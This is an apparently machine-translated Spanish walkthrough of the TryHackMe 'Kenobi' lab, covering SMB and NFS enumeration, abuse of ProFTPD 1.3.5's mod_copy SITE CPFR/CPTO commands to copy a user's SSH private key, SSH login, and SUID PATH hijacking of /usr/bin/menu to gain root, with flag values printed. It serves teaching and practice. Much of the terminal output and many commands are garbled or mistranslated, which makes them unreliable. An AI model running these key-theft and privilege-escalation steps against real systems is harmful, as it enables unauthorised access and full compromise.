Esta vez, enumeraremos samba compartida, manipularemos versiones vulnerables de ProfTPD y aumentaremos los privilegios manipulando las variables de ruta.
"Tryhackme-kenobi: https://tryhackme.com/room/kenobi "





Preparación
Primero, seleccione "Máquina de inicio" e inicie la máquina de destino.

Si la dirección IP se muestra como se muestra a continuación, está bien.

Desplegar la máquina vulnerable
Como implementé la máquina antes, usaré NMAP para escanear.
Asegúrese de estar conectado a nuestra red e implementar la máquina
La máquina acaba de implementarse, así que le damos una respuesta.
Respuesta

Escanee la máquina con NMAP, ¿cuántos puertos están abiertos?
Hay una cuestión de cuántos puertos están abiertos, por lo que usaré NMAP para escanear el puerto.
┌── (Hack_lab㉿desktop-o3rmu7h)-[~] └─ $ nmap -pn -t4 -a 10.10.26.135 inició NMAP 7.94 (https://nmap.org) en 2023-08-27 22:59 JST NMAP Scan Informe para 10.10.26.135 Host (up (0.25s up (0.25s). No se muestra: 993 puertos TCP cerrados (conn-refundido) Puerto Estado Servicio Versión 21/TCP Open FTP ProfTPD 1.3.5 22/TCP Open SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protocolo 2.0) | SSH-HostKey: | 2048 B3: AD: 83: 41: 49: E9: 5d: 16: 8d: 3b: 0f: 05: 7b: e2: c0: ae (rsa) | 256 f8: 27: 7d: 64: 29: 97: e6: f8: 65: 54: 65: 22: f7: c8: 1d: 8a (ecdsa) | _ 256 5a: 06: ed: eb: b6: 56: 7e: 4c: 01: dd: ea: bc: ba: fa: 33: 79 (ed255519) http apache httpd 2.4.18 ((ubuntu)) | http-Robots.txt: 1 Entrada no permitida | _/admin.html | _http-server-header: apache/2.4.18 (ubuntu) | _http-title: el sitio no tiene un título (texto/html). 111/TCP Open RPCBind 2-4 (RPC #100000) | rpcinfo: | Programa Versión Puerto/Servicio Proto | 100000 2,3,4 111/TCP RPCBind | 100000 2,3,4 111/UDP rpcbind | 100000 3,4 111/TCP6 RPCBIND | 100000 3,4 111/UDP6 RPCBIND | 100003 2,3,4 2049/TCP NFS | 100003 2,3,4 2049/TCP6 NFS | 100003 2,3,4 2049/UDP NFS | 100003 2,3,4 2049/UDP NFS | 100003 2,3,4 2049/UDP6 NFS | 100005 1,2,3 34211/TCP Mountd | 100005 1,2,3 39978/UDP Mountd | 100005 1,2,3 46105/TCP6 Mountd | 100005 1,2,3 57683/UDP6 Mountd | 100021 1,3,4 32905/tcp nlockmgr | 100021 1,3,4 44853/TCP6 Nlockmgr | 100021 1,3,4 46652/UDP nlockmgr | 100021 1,3,4 49249/UDP6 nlockmgr | 100227 2,3 2049/TCP NFS_ACL | 100227 2,3 2049/TCP6 NFS_ACL | 100227 2,3 2049/UDP NFS_ACL | 100227 2,3 2049/UDP NFS_ACL | _ 100227 2,3 2049/UDP6 NFS_ACL 139/TCP Open Netbios-SSN Samba SMBD 3.x-4.x (WorkGroup: WorkGroup) 445/TCP Open ` } Samba SMBD 4.3.11-UBUNTU (Workgroup: Workgroup) 2049/TCP Open NFS 2- Información: Host: Kenobi; OSS: Unix, Linux; CPE: CPE:/O: Linux: Linux_Kernel Host Script Resultados: | SMB-Security-Mode: | cuenta_used: invitado | autenticación_level: usuario | Challenge_Response: compatible | _ Message_signing: DISPABILIDAD (peligroso, pero predeterminado) | SMB2-Security-Mode: | 3: 1: 1: | _ firma de mensajes habilitado pero no requerido | SMB2 Time: | Fecha: 2023-08-27T14: 00: 16 | _ start_date: n/a | SMB-OS-Descosvery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Nombre de la computadora: Kenobi | Nombre de la computadora Netbios: Kenobi \ x00 | Nombre de dominio: \ x00 | FQDN: Kenobi | _ Tiempo del sistema: 2023-08-27T09: 00: 16-05: 00 | _Clock-skew: Media: 1H39M58S, Salida: 2H53M13S, mediana: -1s | _nbStat: netbios Nombre: Kenobi, Netbios User:<unknown> , Netbios Mac:<unknown> (desconocido) Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/. NMAP realizado: 1 dirección IP (1 host) escaneada en 35.93 segundos
Hay muchos de ellos, así que si los resumes un poco, puedes ver que los siete puertos a continuación están abiertos.
21/TCP Open ftp Proftpd 1.3.5 22/tcp Open SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protocolo 2.0) 80/TCP Open Http Apache Httpd 2.4.18 ((Ubuntu)) 111/TCP abierto Netbios-SSN Samba SMBD 3.x-4.x (Group: WorkGroup) 445/TCP Open ` {} Samba SMBD 4.3.11-Ubuntu (Group: WorkGroup) 2049/TCP Abrir NFS 2-4 (RPC #100003)
Respuesta

Enumerando a Samba para acciones
De los puertos abiertos, puede verificar HTTP de inmediato, por lo que lo revisé rápidamente y encontré una imagen en /admin.html que decía que era una trampa.
Los próximos puertos que me interesan son los 139 y 445 de Samba.
Usando el comando NMAP anterior, ¿cuántas acciones se han encontrado?
Verificaré cuántas acciones hay. NMAP tiene varias herramientas para automatizar las tareas de red, y hay scripts que enumeran las acciones, así que usemoslas.
┌── (Hack_lab㉿desktop-o3rmu7h)-[~] └─ $ nmap -p 445 --script = smb-enum-shares.nse, smb-enum-users.nse 10.10.26.135 comenzando NMAP 7.94 (https://nmap.org) en 2023-08-27 235 235 NMAP 7.94 (https://nmap.org) en 2023-08-27 232 23. para 10.10.26.135 El host está arriba (latencia de 0.25s). Port State Service 445/TCP Open Microsoft-DS Host Script Resultados: | smb-enum-shares: | cuenta_used: invitado | \\ 10.10.26.135 \ IPC $: | Tipo: stype_ipc_hidden | Comentario: Servicio IPC (servidor Kenobi (Samba, Ubuntu)) | Usuarios: 1 | Usuarios máximos:<unlimited> | Ruta: c: \ tmp | Acceso anónimo: Leer/Escribir | Acceso actual del usuario: lectura/escritura | \\ 10.10.26.135 \ Anónimo: | Tipo: stype_disktree | Comentario: | Usuarios: 0 | Usuarios máximos:<unlimited> | Ruta: c: \ home \ kenobi \ share | Acceso anónimo: Leer/Escribir | Acceso actual del usuario: lectura/escritura | \\ 10.10.26.135 \ imprimir $: | Tipo: stype_disktree | Comentario: Conductores de impresora | Usuarios: 0 | Usuarios máximos:<unlimited> | Ruta: c: \ var \ lib \ samba \ impresors | Acceso anónimo:<none> | _ Acceso actual del usuario:<none> NMAP realizado: 1 dirección IP (1 host) escaneada en 38.42 segundos
Para resumir esto, podemos ver que se comparten los siguientes tres:
\\ 10.10.26.135 \ IPC $ \\ 10.10.26.135 \ Anónimo \\ 10.10.26.135 \ print $
Entre estos, el que me interesa es anónimo. Investigaremos esto la próxima vez.
Respuesta

Una vez que esté conectado, enumere los archivos en el recurso compartido. ¿Cuál es el archivo que puedes ver?
Ahora, intentemos conectarnos a Anónimo.
┌── (Hack_lab㉿desktop-o3rmu7h)-[~] └─ $ smbclient //10.10.26.135/anonymous contraseña para [trabajo \ hack_lab]: intente "ayuda" para obtener una lista de posibles comandos. SMB: \>
Una vez conectado, intente ver la lista de archivos que ha compartido.
SMB: \> ls. D 0 miércoles 4 de septiembre 19:49:09 2019 .. D 0 miércoles 4 de septiembre 19:56:07 2019 Log.txt n 12237 mié 4 de septiembre 19:49:09 2019 9204224 Bloques de tamaño 1024. 6877104 Bloques disponibles SMB: \> Dir. D 0 miércoles 4 de septiembre 19:49:09 2019 .. D 0 mié 4 de septiembre 19:56:07 2019 log.txt n 12237 mié 4 de sep.
Puede verificar que exista un archivo llamado "Log.txt".
Respuesta

¿En qué puerto se ejecuta FTP?
Ya lo revisé en NMAP, pero verificaré log.txt solo para estar seguro.
Primero, descargue log.txt.
SMB: \> get log.txt obteniendo archivo \ log.txt de tamaño 12237 como log.txt (12.0 kilobytes/seg) (promedio de 12.0 kilobytes/seg) SMB: \>
El contenido de log.txt es el siguiente:
┌── (Hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ cat log.txt generando un par de claves RSA pública/privada. Ingrese el archivo en el que guardar la clave (/home/kenobi/.ssh/id_rsa): directorio creado '/home/kenobi/.ssh'. Ingrese la frase de pases (vacío sin frase de pases): ingrese la misma frase de pases nuevamente: su identificación se ha guardado en /home/kenobi/.ssh/id_rsa. Su clave pública ha sido guardada en /home/kenobi/.ssh/id_rsa.pub. La huella digital clave es: SHA256: C17GWSL/V7KLUZROWWXSYK+F7GYHVZSBFQKCIKR2D7Q KENOBI@kenobi La imagen de Randomart de la llave es:+--- [RSA 2048] ----+| | .. | | . o. . | | . o. . | | .. = o +. | | . So.O ++ o. | | o ...+oo.bo*o | | oo ..o.o+.@oo | | . . E .o+=. | | . . obo. | +----[SHA256]-----+ # This is a basic ProFTPD configuration file (rename it to # 'proftpd.conf' for actual use. It establishes a single server # and a single anonymous login. It assumes that you have a user/group # "nobody" and "ftp" for normal operation and anon. ServerName "ProFTPD Default Installation" ServerType standalone DefaultServer on # Port 21 is the Puerto FTP estándar. Modo debe usar un servidor INETD que le permite limitar el número máximo de procesos por servicio (como XInetd). EllowoverWrite en # barra uso del sitio chmod de forma predeterminada<Limit SITE_CHMOD> Negar</Limit> # Una configuración anónima básica, sin directorios de carga. Si no quiere # desea usuarios anónimos, simplemente elimine todo este<Anonymous> sección.<Anonymous ~ftp> User FTP Group FTP # Queremos que los clientes puedan iniciar sesión con "Anónimo", así como "FTP", Useralias Anónimo FTP # Limite el número máximo de inicios de sesión anónimos MaxClients 10 # Queremos 'Welcome.msg' que se muestra en Login, y '.message' que se muestra en cada directorio nuevo de Chdired. DisplayLogin Welcome.msg Displaycdir. Message # Limite Escribir en todas partes en el chroot anónimo<Limit WRITE> Negar</Limit></Anonymous> # # File de configuración de muestra para la suite Samba para Debian GNU/Linux. # # # Este es el principal archivo de configuración de Samba. Debe leer la página manual # smb.conf (5) para comprender las opciones enumeradas # aquí. Samba tiene una gran cantidad de opciones configurables, la mayoría de las cuales # no se muestran en este ejemplo # # # Se han incluido algunas opciones que a menudo vale la pena sintonizar como ejemplos comentados en este archivo. # - Cuando tales opciones se comentan con ";", la configuración propuesta # difiere del comportamiento de samba predeterminado #: cuando se comenta con " #", la configuración propuesta es el comportamiento # predeterminado de samba, pero la opción se considera importante # suficiente para mencionar aquí # # nota: cuando modifica este archivo, debe ejecutar el comando # "testParm" para verificar que no ha hecho ningún # errores # sintácticos básicos. # ==== Configuración global ==== [Global] ## Browsing/Identification ### # Cambiar esto a Workgroup/NT -Domain Nombre Su servidor Samba se separará de Workgroup = Workgroup # Server String es el equivalente de la cadena de servidor de campo NT Descripción = %H Servidor (Samba, Ubuntu) # Nombre de Internet de Windows Servidor de soporte: # Wins Wins Support = No # Servidor Wins: le dice a los componentes NMBD de Samba que sean un cliente Wins # Nota: Samba puede ser un servidor Wins o un cliente gana, pero no ambos; Wins Server = Wxyz # Esto evitará que NMBD busque los nombres de Netbios a través de DNS. DNS proxy = No #### Networking ####El conjunto específico de interfaces / redes para unir a#Este puede ser el nombre de la interfaz o una dirección IP / máscara de red; # Los nombres de la interfaz normalmente se prefieren; interfaces = 127.0.0.0/8 eth0 # solo se une a las interfaces y/o redes con nombre; Debe usar la opción # 'Interfaces' anterior para usar esto. # Se recomienda que habilite esta función si su máquina samba no está protegida por un firewall o es un firewall en sí. Sin embargo, esta opción # no puede manejar las interfaces dinámicas o no transcurridas correctamente. ; Solo interfaces de enlace = Sí #### Debugging/Accounting #####Esto le dice a Samba que use un archivo de registro separado para cada máquina#que conecta el archivo de registro = /var/log/samba/log.%m#Cap tampoco el tamaño de los archivos de registro individuales (en KIB). Max Log size = 1000 # Si desea que Samba solo registre a través de Syslog, configure el siguiente parámetro # en 'Sí'. # Syslog solamente = No # Queremos que Samba registre una cantidad mínima de información a Syslog. Todo # debería ir a /var/log/samba/log.{smbd,nmbd} en su lugar. Si desea registrar # a través de syslog, debe establecer el siguiente parámetro en algo más alto. syslog = 0#Haga algo sensato cuando Samba se bloquea: envíe el administrador un backtrace Panic Action =/usr/share/samba/panic-acción %d ##### Autenticación #######Servidor rol. Define en qué modo funcionará samba. Los valores # posibles son "servidor independiente", "servidor miembro", "controlador de dominio de # primario clásico", "controlador de dominio de respaldo clásico", "Controlador de dominio de directorio # activo". # # La mayoría de la gente querrá "Sever STALONE" o "servidor miembro". # Ejecutar como "Controlador de dominio de Active Directory requerirá el primer # Ejecutar" Provisión de dominio de la herramienta Samba "para borrar bases de datos y crear un # nuevo dominio. Servidor Role = Standalone Server # Si está utilizando contraseñas cifradas, Samba necesitará saber qué tipo de base de datos de contraseña está utilizando. passdb backend = tdbsam obey PAM Restricciones = Sí # Este parámetro booleano controla si Samba intenta sincronizar la contraseña de UNIX # con la contraseña SMB cuando se cambia la contraseña SMB cifrada en el # PassDB. Unix Password Sync = Sí # Para la sincronización de contraseña Unix para funcionar en un sistema de Debian GNU/Linux, se deben establecer los siguientes # parámetros (gracias a Ian Kahan <<kahan@informatik.tu-muenchen.de> para # enviar el script de chat correcto para el programa PASSWD en Debian Sarge). PASSWD Program =/usr/bin/passwd %u passwd chat =*Enter \ snew \ s*\ spassword:* %n \ n*retype \ snew \ s*\ spassword:* %n \ n*contraseña \ supedated \ ssuccessty*. # Este booleano controla si PAM se utilizará para los cambios de contraseña # cuando lo solicite un cliente SMB en lugar del programa enumerado en # 'Programa PASSWD'. El valor predeterminado es 'no'. Pam Password Change = Sí # Esta opción controla cómo se asignan los intentos de autenticación sin éxito # a las conexiones anónimas Mapa a invitado = Usuario malo ####### Dominios ###### # # # La siguiente configuración Toma efecto si 'Servidor role = primario # controlador de dominio clásico', 'rol de servidor de respaldo = controlador de dominio de copia de seguridad' # o 'domain logons # # # # # # # # # # it specifies it specifies of the # de la ubicación de la ubicación del cliente # de la ubicación del cliente # de la ubicación de la ubicación del cliente # de la ubicación de la ubicación del cliente de la ubicación de la ubicación de la ubicación de la ubicación del cliente. de vista) el siguiente # requería una compartir [perfiles] para configurar en el servidor Samba (ver # a continuación); ruta de inicio de sesión = \\%n \ perfiles \%u # Otra opción común es almacenar el perfil en el directorio de inicio del usuario # (esto es el valor predeterminado de Samba) # ruta de inicio de sesión = \\%n \%u \ perfil # La siguiente configuración solo toma efecto si 'los registros de dominio' se establece #, especifica la ubicación del directorio de inicio de un usuario (desde el punto de vista del cliente #); Logon Drive = H: # Logon Home = \\%n \%U # La siguiente configuración solo entra en efecto si 'los inicios de sesión de dominio' se establece # Se especifica que el script se ejecuta durante el inicio del inicio. El script debe almacenarse # en el [netLogon] compartir # nota: debe almacenarse en la convención de formato de archivo 'dos'; Logon script = Logon.cmd # Esto permite que los usuarios de Unix se creen en el controlador de dominio a través de la tubería SAMR # RPC. El comando Ejemplo crea una cuenta de usuario con una contraseña de # Unix deshabilitada; Por favor, se adapte a sus necesidades; Agregue el script de usuario =/usr/sbin/adduser --quiet --disable-password--gecos "" %u # Esto permite que las cuentas de la máquina se creen en el controlador de dominio a través de la tubería # SAMR RPC. # Lo siguiente supone que existe un grupo "Máquinas" en el sistema; Agregar script de máquina =/usr/sbin/userAdd -g máquinas -C " %u cuenta de máquina" -d/var/lib/samba -s/bin/false %u # Esto permite que los grupos Unix se creen en el controlador de dominio a través de la tubería Samr # RPC. ; Agregar script de grupo =/usr/sbin/addgroup --force-badname %g ###### Misc ######Uso de la siguiente línea le permite personalizar su#de configuración por máquina. El %m se reemplaza con el nombre de NetBios de la máquina que se conecta; incluir = /home/samba/etc/smb.conf.%m # Algunos valores predeterminados para Winbind (asegúrese de no estar usando los rangos # para otra cosa.); IDMAP UID = 10000-20000; IDMAP GID = 10000-20000; Template shell = /bin /bash # Configurar las opciones de UserShare para habilitar a los usuarios que no son Root para compartir las carpetas # con el comando Net UsersHare. # Número máximo de usuarios. 0 (predeterminado) significa que UserShare está deshabilitado. ; Usersshare Max Shares = 100 # permiten a los usuarios que se les han otorgado los privilegios de usuarios de usuarios crear # acciones públicas, no solo las de los usuarios autenticados, los usuarios permiten los invitados = sí # === definiciones de acciones ==== # un comment lo siguiente (y ajustar las otras configuraciones a continuación para adaptarse) # para permitir las acciones predeterminadas de directorio de inicio. Esto compartirá el directorio de inicio del usuario de cada # como \\ Server \ UserName; [casas]; comentario = directorios de inicio; navegable = no # Por defecto, los directorios de inicio se exportan de solo lectura. Cambie el parámetro # siguiente a 'no' si desea poder escribirles. ; solo leer = sí # La máscara de creación de archivos está configurada en 0700 por razones de seguridad. Si desea # Crear archivos con Group = RW Permissions, configure el siguiente parámetro en 0775 .; Crear máscara = 0700 # La máscara de creación del directorio se establece en 0700 por razones de seguridad. Si quieres # crear DIRS. con grupo = permisos RW, establezca el siguiente parámetro en 0775 .; Directory Mask = 0700 # Por defecto, las acciones de \\ Servidor \ UserName pueden estar conectadas por cualquier persona # con acceso al servidor Samba. # Un Comment El siguiente parámetro para asegurarse de que solo el "nombre de usuario" # pueda conectarse a \\ Server \ UserName # Esto podría necesitar ajustes al usar esquemas de autenticación externos; Usuarios válidos = %S # un comment lo siguiente y cree el directorio de NetLogon para los inicios de sesión de dominio # (también necesita configurar samba para actuar como controlador de dominio); [netLogon]; comentario = servicio de inicio de sesión de red; ruta =/home/samba/netlogon; Invitado OK = SÍ; solo leer = sí # un comment lo siguiente y crear el directorio de perfiles para almacenar los perfiles de # usuarios (consulte la opción "Ruta de inicio de sesión" arriba) # (debe configurar Samba para actuar como un controlador de dominio también. Comentario = Perfiles de usuarios; ruta =/home/samba/perfiles; invitado OK = no; navegable = no; crear máscara = 0600; Directory Mask = 0700 [INMINTERS] COMENTARIO = Todas las impresoras Browsable = no path =/var/spool/samba imprimable = sí invitado OK = no lee solo = sí create máscara = 0700 # clientes de Windows busque este nombre de compartir como fuente de controles # de impresoras descargables [no vert a # no # no # # # no # Controladores de impresión. # Es posible que deba reemplazar 'lpadmin' con el nombre del grupo de los que son los usuarios de su administración. # Tenga en cuenta que también necesita establecer permisos de UNIX apropiados # al directorio de controladores para que estos usuarios tengan derechos de escritura en él; escribir lista = root, @lpadmin [anónimo] ruta =/home/kenobi/share browsable = y ye read solo = sí invitado ok = sí
La información que puede ver de este contenido es la siguiente:
- La clave privada SSH debe almacenarse en "/home/kenobi/.ssh/id_rsa"
- Información sobre el servidor ProfTPD
Respuesta

¿Qué soporte podemos ver?
A continuación, NFS es un servicio de intercambio de archivos basado en RPC.
Aunque el NFS en sí se ejecuta en 2049, RPC es la puerta de enlace al NFS.
2049/TCP Open NFS 2-4 (RPC #100003)
En otras palabras, intente escanear 111 RPC.
111/TCP Open RPCBind 2-4 (RPC #100000)
Una vez que haya confirmado que NSF se está ejecutando, lo primero que debe hacer es verificar qué directorios se pueden exportar de forma remota.
Aquí nuevamente, usaremos el motor de script NMAP.
┌── (Hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ ls/usr/share/nmap/scripts | Grep NFS NFS-LS.NSE NFS-Showmount.nse NFS-Statfs.nse
Intente ejecutarlo para el número de puerto "111".
┌── (Hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ nmap -p 111 -script = nfs-ls, nfs-statfs, nfs-showmount 10.10.26.135 inició NMAP 7.94 (https://nmap.org) en 2023-08-27 27:41 23:41 23:41 23:41 23:41 23:41 23:41 23:41 23:41 23:41 JSTE JSTA 23:41 JSTA 27:41 JSTA 23:41 23:41 JSTE JSTA 23:41 JSTE JSTA 23:41 JSTE JSTA 23:41 JSTAES El informe de escaneo NMAP para 10.10.26.135 host está arriba (latencia de 0.25s). Port State Service 111/TCP Open RPCBind | nfs-showmount: | _ /var * nmap hecho: 1 dirección IP (1 host) escaneada en 4.27 segundos
Confirmé que se ha exportado "/var".
Por ahora, intentaré montar "/var" primero.
┌─se (Hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ mkdir kenobinfs ┌─se (hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ sudo 10.10.6.106:/var ~/tryhackme/kenobs/kenfs [sudhackme contraseña para hack_lab: ┌── (hack_lab㉿desktop-o3rmu7h)-[~/ tryhackme] └─ $ ll kenobinfs/ total 48 drwxr-xr-x 2 raíz 4096 sep 4 de 2019 DRWXR-XR-X 9 root 4096 sep 4 2019 Drwx Drwx Drw Drw Drwx 4 de septiembre de 2019 Crash DRWXR-XR-X 40 Root Root 4096 Sep 4 de septiembre de 2019 LIB DRWXRWSR-X 2 Root Staff 4096 Abr 13 2016 Local LRWXRWXRWX 1 Root Root 9 SEP 4 2019 LOCK-> /RUN /LOCK drwxr-xr-x 2 root root 4096 Feb 27 2019 opt lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run drwxr-xr-x 2 root root 4096 Jan 30 2019 snap drwxr-xr-x 5 root root 4096 Sep 4 2019 spool drwxrwxrwt 6 root root 4096 Aug 28 22:29 tmp DRWXR-XR-X 3 ROOT ROOT 4096 SEP 4 de 2019 www
Parece que puedes usar TMP.
Respuesta

Obtenga acceso inicial con ProfTPD
Use ProfTPD para obtener permisos locales.
¿Cuál es la versión?
Primero, intente conectarse al servicio FTP con NetCat.
┌── (Hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ NC 10.10.6.106 21 220 Proftpd 1.3.5 Servidor (Instalación predeterminada de ProfTPD) [10.10.6.106]
Resulta que la versión ProfTPD es "1.3.5".
Respuesta

¿Cuántos exploits hay para la ejecución del profesor?
Intente SearchSploit para averiguar si no hay vulnerabilidades en ProfTPD 1.3.5.
┌── (Hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ SearchSploit Proftpd 1.3.5 ----- ----------------------------------------------------------------------------------------------------------------------------------------------------------- Comando 'MOD_COPY' EXECTII | Linux/Remote/37262.RB Proftpd 1.3.5 - 'mod_copy' comando remoto | Linux/Remote/36803.py Proftpd 1.3.5 - 'mod_copy' comando remoto | Linux/Remote/49908.py Proftpd 1.3.5 - Copia de archivo | Linux/remoto/36742.txt ---- --------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------
la parte inferior " ProfTPD 1.3.5 - Copia del archivo ", Mod_Copy se puede usar incluso para clientes no autorenticados.

Respuesta

¿Cuál es la bandera de usuario de Kenobi (/home/kenobi/user.txt)?
El módulo MOD_COPY tiene comandos CPFR y CPTO del sitio que se pueden usar para copiar archivos/directorios de una ubicación en el servidor a otro.
Sé que se ha generado la clave privada de Kenobi, por lo que me gustaría obtenerla.
Ingrese el archivo en el que guardar la clave (/home/kenobi/.ssh/id_rsa)
En cuanto a dónde copiarlo, ya sabemos que /var es de monte, por lo que intentaremos copiar la clave privada de Kenobi a /var.
┌── (Hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ NC 10.10.6.106 21 220 Proftpd 1.3.5 Server (Instalación predeterminada de Proftpd) [10.10.6.106] Sitio CPFR /HOME/Kenobi/.ssh/id_RSA 350 Archivo o directorio de destino, listo para el sitio de destino. /var /id_rsa 550 cpto: permiso denegado
"/var" no tenía permiso. . .
Según los resultados que monté anteriormente, parece que está bien si es "/var/tmp".
┌── (Hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ NC 10.10.6.106 21 220 Proftpd 1.3.5 Server (Instalación predeterminada de Proftpd) [10.10.6.106] Sitio CPFR /HOME/Kenobi/.ssh/id_RSA 350 Archivo o directorio de destino, listo para el sitio de destino. /var/tmp/id_rsa 250 copia exitosa
¡Logré copiarlo!
┌── (Hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ cd kenobinfs/tmp ┌ ┌se (hack_lab㉿desktop-o3rmu7h)-[~/tryhackme/kenobinfs/tmp] └─ $ LLEL TOTAL 20 -R-R-1 1675 28 de agosto 23:09 ID_RSA DRWX ----- 3 Root Root 4096 Sep 4 2019 Systemd-Private-2408059707BC41329243D2FC9E613F1E-Systemd-Timesyncd.Service-A5PKTM DRWX ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 3 raíz raíz 4096 4 de septiembre de 2019 Systemd-Private-E69BBB0653CE4EE3BD9AE0D93D2A5806-Systemd-Timesyncd.Service-Zobudn
Copiéelo localmente una vez. En este momento, cambie los permisos.
┌─se (Hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ cp kenobinfs/tmp/id_rsa ./ ┌─se (hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └ razón
Intentaré usar mi clave privada Kenobi para la conexión SSH.
┌── (root㉿kali) -[~] └─# ssh -i id_rsa kenobi@10.10.154.255 La autenticidad del host '10 .10.154.255 (10.10.154.255) 'no se puede establecer. ED25519 La huella digital clave es SHA256: GXU1MGQL0WK2ZHPMEUVIS0HVUSX4HK33ITCWNKPKTFW. Esta clave no se sabe por otros nombres, ¿está seguro de que desea continuar conectando (sí/no/[huella digital])? Sí Advertencia: agregó permanentemente '10 .10.154.255 '(ED25519) a la lista de hosts conocidos. Bienvenido a Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58 Generic X86_64) * Documentación: https://help.ubuntu.com * administración: https://landscape.canonical.com * Soporte: https://ubuntu.com/advantage 103 Packages puede estar actualizado. 65 actualizaciones son actualizaciones de seguridad. Último inicio de sesión: miércoles 4 de septiembre 07:10:15 2019 desde 192.168.1.147 para ejecutar un comando como administrador (usuario "root"), use "sudo<command> ". Ver" Man sudo_root "para más detalles. Kenobi@Kenobi: ~ $
Pude conectarme de manera segura.
¡Continuemos revisando user.txt y obtenga la bandera!
kenobi@kenobi: ~ $ ll total 40 DRWXR-XR-X 5 Kenobi Kenobi 4096 Sep 4 de 2019 ./ DRWXR-XR-X 3 Root 4096 Sep 4 2019 ../ LRWXRWXRWX 1 1 SEP 4 2019 .BASH_History->/ Dev/ Null --RW-R--R- R- R- R- R- R- R- 1 KenObi 4 de septiembre de 2019 .bash_logout -rw-r-r-- 1 kenobi kenobi 3771 4 de septiembre de 2019 .bashrc drwx ----- 2 kenobi kenobi 4096 sep 4 de 2019 .cache/ -rw-r-r-- 1 kenobi kenobi 655 4 de 2019 .profile drwxr-x 2 kenobi 4enobiBiBiBiBiBiBiBiBiBiBiBiBi 4 de septiembre de 2019 Share/ DRWX ----- 2 Kenobi Kenobi 4096 Sep 4 de septiembre de 2019 .SSH/ -RW-RW-R-- 1 Kenobi Kenobi 33 Sep 4 2019 User.txt -rw ------- 1 Kenobi Kenobi 642 SEP 4 2019 .Viminfo Kenobi@Kenobi: ~ $ Cat User.txt.txt.txt d0b0f3f53b6caa532a83915e19224899
Respuesta

Escalada de privilegios con manipulación variable de ruta
El siguiente es la escalada de privilegios. Apunte a la elevación de privilegios utilizando el suid común.
Suid ejecuta el archivo con los permisos del propietario del archivo, por lo que si root es el propietario del archivo, es posible obtener privilegios raíz.
¿Qué archivo parece particularmente fuera de lo común?
Verifiquemos el archivo con el Suid.
kenobi@kenobi: ~ $ find/-perm -u = s -type f 2>/dev/null /sbin/mount.nfs/usr/lib/polstykit-1/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/snapd/snapd /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/bin/chfn /usr/bin/newgidmap /usr/bin/pkexec /usr/bin/passwd /usr/bin/newuidmap/usr/bin/gpasswd/usr/bin/menu/usr/bin/sudo/usr/bin/chsh/usr/bin/at/usr/bin/newgrp/bin/Umunt/bin/fusermount/bin/monte/bin/ping/bin/su/bin/ping6
Supongo que el que sospecha de estos es "/usr/bin/menú". Este es un archivo que nunca he visto antes.
Respuesta

Ejecute el binario, ¿cuántas opciones aparecen?
Intente ejecutar el menú.
Parece que puede verificar el estado del servidor, la versión del núcleo y el contenido de Ifconfig.
kenobi@kenobi: ~ $ menú *****************************************************************************************************************************************************************-- ******************************************************************************************************************************************** contra *****************************************************************************************************************************************************************-- ******************************************************************************************************************************************** contra *****************************************************************************************************************************************************************-- ******************************************************************************************************************************************** contra *****************************************************************************************************************************************************************-- ******************************************************************************************************************************************** contra Content-longitud: 200 Vary: Aceptación de tipo de contenido: Texto/HTML
Respuesta

¿Cuál es el indicador de raíz (/root/root.txt)?
Use cadenas para buscar una cadena legible en el binario del menú.
kenobi@kenobi: ~ $ strings/usr/bin/menú ... ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para
Preste atención a lo siguiente:
puede confirmar que "Curl" no es el camino completo. (No es/usr/bin/curl o/usr/bin/uname)
curl -i localhost
Esto significa que al copiar/bin/sh en el rizo de nombre, darle acceso y agregarlo a la ruta, cuando
/usr/bin/menú se ejecuta, la ruta se usará para encontrar el rizo que copió.
kenobi@kenobi: ~ $ cd/tmp kenobi@kenobi:/tmp $ echo/bin/sh> curl kenobi@kenobi:/tmp $ chmod 777 curl kenobi@kenobi:/tmp $ export =/tmp: $ path kenobi@kenobi:/tmp $ menú $ menú ************************************************************************************************************************************************************************************************************* ************************************************************************************************************************************************************************************************************** ************************************************************************************************************************************************************************************************************* ************************************************************************************************************************************************************************************************************** 177B3CD8562289F37382721C28381F02
¡El privilegio ha sido elevado!
Respuesta

resumen
Esta vez, enumeré la samba compartida, manipulé una versión vulnerable de ProfTPD y intensificé los privilegios manipulando las variables de ruta.
Es completamente irrelevante, pero me topé con OpenVPN SSH, pero logré hacerlo.
Referencias y sitios
-